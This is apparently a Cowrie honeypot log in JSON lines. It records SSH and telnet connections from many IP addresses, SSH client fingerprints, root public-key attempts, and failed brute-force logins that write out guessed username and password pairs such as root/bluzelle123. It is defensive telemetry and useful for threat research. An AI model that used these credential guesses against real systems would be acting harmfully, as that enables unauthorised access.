{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51150,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c9d33752313","protocol":"telnet","message":"New connection: 170.64.224.25:51150 (159.203.135.109:23) [session: 6c9d33752313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:04.570886Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":43914,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a05feea0b38","protocol":"ssh","message":"New connection: 8.210.75.243:43914 (10.17.0.5:22) [session: 8a05feea0b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:12.938006Z"}
{"eventid":"cowrie.session.closed","duration":54.570170164108276,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:17.764045Z","src_ip":"170.64.224.25","session":"9aa3fa957b44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56008,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a769d38fffa","protocol":"ssh","message":"New connection: 8.210.75.243:56008 (10.17.0.5:22) [session: 3a769d38fffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:25.786096Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":46690,"dst_ip":"10.17.0.5","dst_port":23,"session":"7646b9336418","protocol":"telnet","message":"New connection: 94.23.66.112:46690 (10.17.0.5:23) [session: 7646b9336418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:33.739663Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":43468,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac0d4b3f2459","protocol":"ssh","message":"New connection: 147.45.211.215:43468 (159.203.135.109:22) [session: ac0d4b3f2459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:34.976042Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":35860,"dst_ip":"10.17.0.5","dst_port":22,"session":"69237b1df6eb","protocol":"ssh","message":"New connection: 162.144.61.95:35860 (10.17.0.5:22) [session: 69237b1df6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:38.981215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:38.988457Z","src_ip":"162.144.61.95","session":"69237b1df6eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:39.081135Z","src_ip":"162.144.61.95","session":"69237b1df6eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hbar","password":"hbar999","message":"login attempt [hbar/hbar999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:39.367705Z","src_ip":"162.144.61.95","session":"69237b1df6eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:40.459483Z","src_ip":"162.144.61.95","session":"69237b1df6eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":36580,"dst_ip":"159.203.135.109","dst_port":23,"session":"5258d95886cb","protocol":"telnet","message":"New connection: 183.91.11.226:36580 (159.203.135.109:23) [session: 5258d95886cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:41.594877Z"}
{"eventid":"cowrie.session.closed","duration":64.48300623893738,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:42.569761Z","src_ip":"170.64.224.25","session":"b8e84e2d3578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":43260,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aabafe1c588","protocol":"ssh","message":"New connection: 139.19.117.129:43260 (159.203.135.109:22) [session: 0aabafe1c588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:47.133929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:47.138214Z","src_ip":"139.19.117.129","session":"0aabafe1c588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:47.229575Z","src_ip":"139.19.117.129","session":"0aabafe1c588","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAm4OL3t9/CKCXnaS1FqMqVBZtIctaDGfNTwkBypjk7LskJYRJn+y+dykldCNGmtRuNBCsBpzVIvY69ap4AX2h02FBhhngnOZl/P7so4JNo0EBVdeb8tps7fJryXFvbSFv5J+9OlbXa35aKQFPE1G4rQ7KM9cnUXnRtsZz/TPRwx7HRBPlM0FajN48djc2yQaHPtzustZ4YC6NMuadaZZlRMf5+HF6lpdHdsMmLuSlYBigRc1yI9OSlpFSQMxpqyCTiiPO8jOuoARu8ZT5cWzWcjce1oJ7t8IlklCPMnwtjFLdNCQsthXQU86s+5iey0Yons4WC5RW/zaDKStdGvq0qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:47.418006Z","src_ip":"139.19.117.129","session":"0aabafe1c588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAm4OL3t9/CKCXnaS1FqMqVBZtIctaDGfNTwkBypjk7LskJYRJn+y+dykldCNGmtRuNBCsBpzVIvY69ap4AX2h02FBhhngnOZl/P7so4JNo0EBVdeb8tps7fJryXFvbSFv5J+9OlbXa35aKQFPE1G4rQ7KM9cnUXnRtsZz/TPRwx7HRBPlM0FajN48djc2yQaHPtzustZ4YC6NMuadaZZlRMf5+HF6lpdHdsMmLuSlYBigRc1yI9OSlpFSQMxpqyCTiiPO8jOuoARu8ZT5cWzWcjce1oJ7t8IlklCPMnwtjFLdNCQsthXQU86s+5iey0Yons4WC5RW/zaDKStdGvq0qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:47.420552Z","src_ip":"139.19.117.129","session":"0aabafe1c588","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAm4OL3t9/CKCXnaS1FqMqVBZtIctaDGfNTwkBypjk7LskJYRJn+y+dykldCNGmtRuNBCsBpzVIvY69ap4AX2h02FBhhngnOZl/P7so4JNo0EBVdeb8tps7fJryXFvbSFv5J+9OlbXa35aKQFPE1G4rQ7KM9cnUXnRtsZz/TPRwx7HRBPlM0FajN48djc2yQaHPtzustZ4YC6NMuadaZZlRMf5+HF6lpdHdsMmLuSlYBigRc1yI9OSlpFSQMxpqyCTiiPO8jOuoARu8ZT5cWzWcjce1oJ7t8IlklCPMnwtjFLdNCQsthXQU86s+5iey0Yons4WC5RW/zaDKStdGvq0qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:47.514973Z","src_ip":"139.19.117.129","session":"0aabafe1c588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAm4OL3t9/CKCXnaS1FqMqVBZtIctaDGfNTwkBypjk7LskJYRJn+y+dykldCNGmtRuNBCsBpzVIvY69ap4AX2h02FBhhngnOZl/P7so4JNo0EBVdeb8tps7fJryXFvbSFv5J+9OlbXa35aKQFPE1G4rQ7KM9cnUXnRtsZz/TPRwx7HRBPlM0FajN48djc2yQaHPtzustZ4YC6NMuadaZZlRMf5+HF6lpdHdsMmLuSlYBigRc1yI9OSlpFSQMxpqyCTiiPO8jOuoARu8ZT5cWzWcjce1oJ7t8IlklCPMnwtjFLdNCQsthXQU86s+5iey0Yons4WC5RW/zaDKStdGvq0qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:47.518000Z","src_ip":"139.19.117.129","session":"0aabafe1c588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:30:57.134201Z","src_ip":"139.19.117.129","session":"0aabafe1c588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":48876,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7debe81a374","protocol":"telnet","message":"New connection: 94.23.66.112:48876 (10.17.0.5:23) [session: f7debe81a374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:00.073407Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":54782,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e224fbf1806","protocol":"ssh","message":"New connection: 165.22.184.88:54782 (159.203.135.109:22) [session: 5e224fbf1806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:04.267998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:04.271761Z","src_ip":"165.22.184.88","session":"5e224fbf1806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:04.277205Z","src_ip":"165.22.184.88","session":"5e224fbf1806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"farm","password":"farm123","message":"login attempt [farm/farm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:04.292575Z","src_ip":"165.22.184.88","session":"5e224fbf1806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:05.304302Z","src_ip":"165.22.184.88","session":"5e224fbf1806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58810,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a8e26be3bef","protocol":"telnet","message":"New connection: 69.6.249.0:58810 (10.17.0.5:23) [session: 4a8e26be3bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:10.767140Z"}
{"eventid":"cowrie.session.closed","duration":31.490557193756104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:13.085313Z","src_ip":"183.91.11.226","session":"5258d95886cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.107.77","src_port":51690,"dst_ip":"10.17.0.5","dst_port":22,"session":"b74faeebfef7","protocol":"ssh","message":"New connection: 185.207.107.77:51690 (10.17.0.5:22) [session: b74faeebfef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:22.072578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:22.076298Z","src_ip":"185.207.107.77","session":"b74faeebfef7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:22.161781Z","src_ip":"185.207.107.77","session":"b74faeebfef7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bluzelle123","message":"login attempt [root/bluzelle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:22.423233Z","src_ip":"185.207.107.77","session":"b74faeebfef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:23.510828Z","src_ip":"185.207.107.77","session":"b74faeebfef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:26.203533Z","src_ip":"8.210.75.243","session":"6f702158d2bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":33304,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ea40951cc73","protocol":"ssh","message":"New connection: 159.65.58.200:33304 (159.203.135.109:22) [session: 8ea40951cc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:29.291382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:29.722120Z","src_ip":"159.65.58.200","session":"8ea40951cc73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:29.725045Z","src_ip":"159.65.58.200","session":"8ea40951cc73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":38004,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4e62bc9a886","protocol":"ssh","message":"New connection: 108.179.220.174:38004 (159.203.135.109:22) [session: e4e62bc9a886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:29.944098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:29.948083Z","src_ip":"108.179.220.174","session":"e4e62bc9a886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:29.973271Z","src_ip":"108.179.220.174","session":"e4e62bc9a886","protocol":"ssh"}
